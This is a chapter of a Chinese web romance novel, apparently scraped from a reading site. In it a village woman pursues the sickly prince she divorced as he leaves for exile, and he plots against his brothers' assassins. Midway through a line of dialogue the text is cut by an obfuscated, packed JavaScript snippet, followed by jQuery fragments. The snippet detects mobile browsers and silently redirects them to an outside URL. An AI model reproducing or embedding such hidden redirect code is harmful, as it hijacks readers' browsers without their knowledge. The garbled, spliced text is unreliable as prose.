默认冷灰
24号文字
方正启体

21. 陌生

作者:买杏十载归本书字数:K更新时间:
    人与人的相遇和离别总是不讲道理的。


    周阿幺既想不到自己种地的村妇会认识什么天潢贵胄的王爷,也想不到两人的最后分开突兀到措不及防。


    转头,周阿幺凝望着繁华富贵的马车窗,露出一支惨白消瘦,上面是清晰可见的青紫色经络的手。


    随着锦缎所制的华贵帘子落下,手腕松松垮垮戴着金丝南瓜玉手串消失。


    仿若幻境一场。


    “怎么了?阿幺。”


    周阿幺侧头,她双目不安,遥指只剩米粒大小的马车,问:“你刚才看到了吗?那是李珩耀的手,他怎么,他是出什么事情了,难道又生病了…”


    “没有,阿幺,我没看到,”宋和玉拉回周阿幺的手,他嘴角上扬,平淡叙述,“这不是你所希望的结局吗?”


    “阿幺,不论现在他现在何处,是生是死,都不该由你担忧操心,毕竟,你们现在只是陌生人。”


    “我,我,我只是好奇,他,”周阿幺心乱如麻,连说话都说不明白清楚,“我一点私事,去去就回,你不用等我用饭。”


    她甩开宋和玉的手,骑马飞奔至江府。


    来到另外一个可以了解到李珩耀身体是否有恙的地方。


    江府大门紧闭,周阿幺敲门。


    “二,安王妃!”原本懒散的侍卫看到周阿幺,立马打起十二分精神,谄媚将她带到正殿,隐约听到哀泣的哭喊。


    不到一盏茶功夫,江老爷急匆匆赶来,他讪笑:“安王妃,怎么有空大驾光临鄙宅,若为了江慕宜大可不必,安王的吩咐我们已经照做。”


    他指了指后院:“人已经废了。”


    啊?


    周阿幺一头雾水。


    根本不明白事情发生的始末,在她的设想中,李珩耀愿意给她和离书,定是想明白要和他青梅竹马江慕宜成婚,过一辈子。


    在江府之前,周阿幺就做好了被江慕宜奚落的准备,没成想,李珩耀居然让江老爷弑女。


    “等下等下!”周阿幺拧眉望一脸讨笑的江老爷,“江慕宜是怎么回事?”


    “江慕宜不满江夫人给她定下等婚约。”想起此事,江老爷就一阵气愤,他就没见过江慕宜这种蠢货,勾引安王,反倒害了自己性命。


    “一心想嫁入高门,不知道从哪里获得了迷情幽兰香,去引诱安王,哎,安王良善说打三十大板,人还有一口气。”


    三十大板,良善。


    周阿幺无法把这两个词联系在一起。


    在新婚夜时的嘲笑周阿幺的小丫鬟挨了十板子就一命呜呼了。


    可见李珩耀的愤怒程度。


    “王爷,王爷他不喜欢江慕宜吗?”周阿幺一脸困惑。


    “喜欢吗?”江老爷托腮解释,“安王很少见江慕宜,只在每年生辰会定时送来礼物。如果送礼也叫喜欢的话…”


    江老爷贴心安置周阿幺在上位,又从丫鬟手中亲自奉上茶盏给她,笑得和善,宽慰道:“静婉,你无需再想江慕宜之事,现在你最主要的任务就是照顾好安王。”


    啊?


    这又是哪一出?


    周阿幺双目困惑,想起李珩耀干瘦的手,问:“王爷么回事?”


    江老爷一愣,随即一笑:“你在安王府你应该作为清楚的。”


    “呃…这段时间我根本不在安王府。”周阿幺说起自己回到溪平村。


    “难怪安王这般生气,虽说江慕宜做事不可取,”江老爷蹙眉,教导周阿幺,“但女子善妒,你更是荒唐可笑!”


    “行了知道了,”周阿幺着急打断江老爷的絮絮叨叨,“我问,李珩耀,他到底怎么回事?”


    江老爷叹息,他凝望一脸无知的周阿幺,摇头:“太子…”


    “被废了。”


    他脸色难看,深呼一口气,长话短说:“安王求重审新塘案,陛下震怒,将安王关于地牢反省,一月有余,又将安王贬至甘州。”


    “甘州…”周阿幺无神呢喃。


    这个地名,她听过一次,就是和李珩耀一同读游记。


    地貌复杂,天气多变,人烟稀少,是名副其实的苦寒之地。


    李珩耀那般孱弱多病…


    他怎么办?


    周阿幺眉宇含忧,她又慌又急,起身就要离开。


    “哎,静婉,你莫要听那闲言碎语,哪怕因为废太子原因,陛下厌恶安王,然不是我们可以敷衍的,”江老爷伸手欲要拦下疾走的周阿幺,大声劝告,“你一定要好好侍奉安王。”


    “呵,”周阿幺转头冷笑,对李珩耀的担忧,都被江老爷的屁话抵消,她怒道,“李珩耀这么尊贵,你怎么不去伺候他?“


    的确。


    周阿幺是心甘情愿照顾李珩耀的。


    哪怕江慕宜的误会没人解开,周阿幺也愿意照顾。


    在她讥讽嘲笑的泥潭,无怨伸出手,将她扯出困境,并无声默许她,借着他的身份地位报仇的人。


    一个心软的好人。


    快马加鞭,周阿幺火急火燎赶到安王府,看到街道上停着车轮染上泥土的香车宝马。


    “周姑娘,有事吗?”金云手握长剑,挡在中央,隔出空间,抱胸冷眼而问。


    “我…”周阿幺舔了舔干涸的唇瓣,“我想见一面王爷。”


    金云斜睨周阿幺一眼,望着这个毫不留情离开王爷,让王爷悲伤的女人,思绪片刻,走向马车,低头轻声问。


    得到王爷的答复,他点头,转身一脸严肃面对周阿幺:


    “王爷不想,周姑娘别打扰我们出行,速速离开吧。”


    “我,我有事,我真的有事。”


    周阿幺本就不是守规矩的人,她真怕李珩耀就此离开,忍着被嫌弃的窘迫奔向马车,一把扯住马车帘子的同时,周阿幺被金云长剑抵脖。


    “手松。”


    “否则,莫怪刀剑无眼。”


    周阿幺忍着寒气逼人的兵器落在她脖子,用动作代替拒绝的话语——


    她撩开了帘子。


    映入眼帘的是李珩耀惨白无色的脸,上面点缀幽暗深邃的眼。


    严寒冰冷又高不可攀。


    他微微抬眸,浓密的睫毛似破碎的蝴蝶,在一张白纸扑闪凋谢。


    无视周阿幺,李珩耀压迫的目光落在金云身上。


    不等他开口说什么,金云便跪地自请领罚。


    “走吧。”李珩耀开口。


    马车启动。


    周阿幺不肯放弃,她紧紧把着马车窗沿边:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262420|166326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你是在生我的气吗?对不起…是我自以为是了。”


    “呵,”李珩耀眉眼一弯,嘲弄的神色掉入眼眸晕染开,“生气,周阿幺你算什么东西也值得本王生气,怎么,你又想拾起你丢弃的垃圾了?”


    听着李珩耀自贬自己为垃圾,周阿幺心中一阵密密麻麻的刺痛,她摇头:“我没有,我从来没有这样认为…”


    解释的话还没完,就被速度加快的马车碾压而过。


    周阿幺抓不住窗沿,整个人重重摔在地上,手掌膝盖火辣辣的疼。


    忍着剧痛抬头,她看到了李珩耀无波无澜的眼。


    其实,这才是真实存在的安王吧。


    桀骜高傲,冷淡疏离。


    借着双方母亲,一纸婚书带来的好处,周阿幺无缘无故享受着李珩耀的照拂。


    和离之后现在的场景,才是两人身份应该存在的场景。


    周阿幺爬起来,轻抚掉手掌心染血的沙粒,死死盯着消失无影的马车方向。


    可惜,她这个人就是倔。


    她不甘心。


    她偏要纠缠。


    周阿幺从来就是随心而为。


    现在,心脏在胸腔内狂跳,它在叫嚣,它在呼喊,去和李珩耀说清楚,去照顾他吧。


    *


    “王爷,她回溪平村了。”


    闭目养神的李珩耀缓慢睁眼。


    宽大的衣袖隐约透出的着金丝南瓜玉手串,他一颗一颗轻捻着珠子,平息自己的愤怒情绪。


    半晌,问跪地的金云:“她,有没有受伤?”


    第一次,金云见如此患得患失,心神不宁的王爷。


    就算当日听闻太子被废,王爷也是从容不迫,金云忍下惊悚异样神色。


    “王爷,您早就安排了青苍,他们定会保护和照顾王妃的。”


    “是,本王倒是忘了,”李珩耀扶额轻声道,“退下吧。”


    “王爷,还有一件事。”


    “说。”


    “宁王靖王派来的两队人离我们只有十里,是否等出来京城,再杀?”


    “不必。”


    李珩耀握起手之前宁王答应给他的匕首。


    这原是他送给周阿幺当礼物的玩的东西,却被他先开刃见血。


    用这支匕首,他在宴会上割开宁王,靖王的手臂,惊恐让他们亲口承认,并写下在新塘案陷害太子的计谋。


    他的父皇老了。


    开始神志不清,他惧怕各方面都强盛的太子,默许自己的儿子陷害儿子。


    也开始心肠怜悯,面对在靖王府行凶的他,也高高举起,轻轻放下。


    自此,宁王靖王被上谋害兄长的污点。


    无论如何,这几年,他们攀登不上太子之位。


    他的父皇在考虑自己皇位继承人时,又会留一抹心神落在圈禁在南都的废太子。


    他的皇兄不会无缘无故暴毙了。


    泠冽银白的刀刃上映照李珩耀阴鸷可怖的眼。


    随即,他冰凉的指尖抚摸到刀柄上篆刻鎏金桂花挂枝的痕迹。


    李珩耀一笑,似春风拂过,冻结为冰的湖融化成潋滟水波。


    “宫内的娘娘派来的暗卫还没来,等人到齐,长风谷,杀之。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)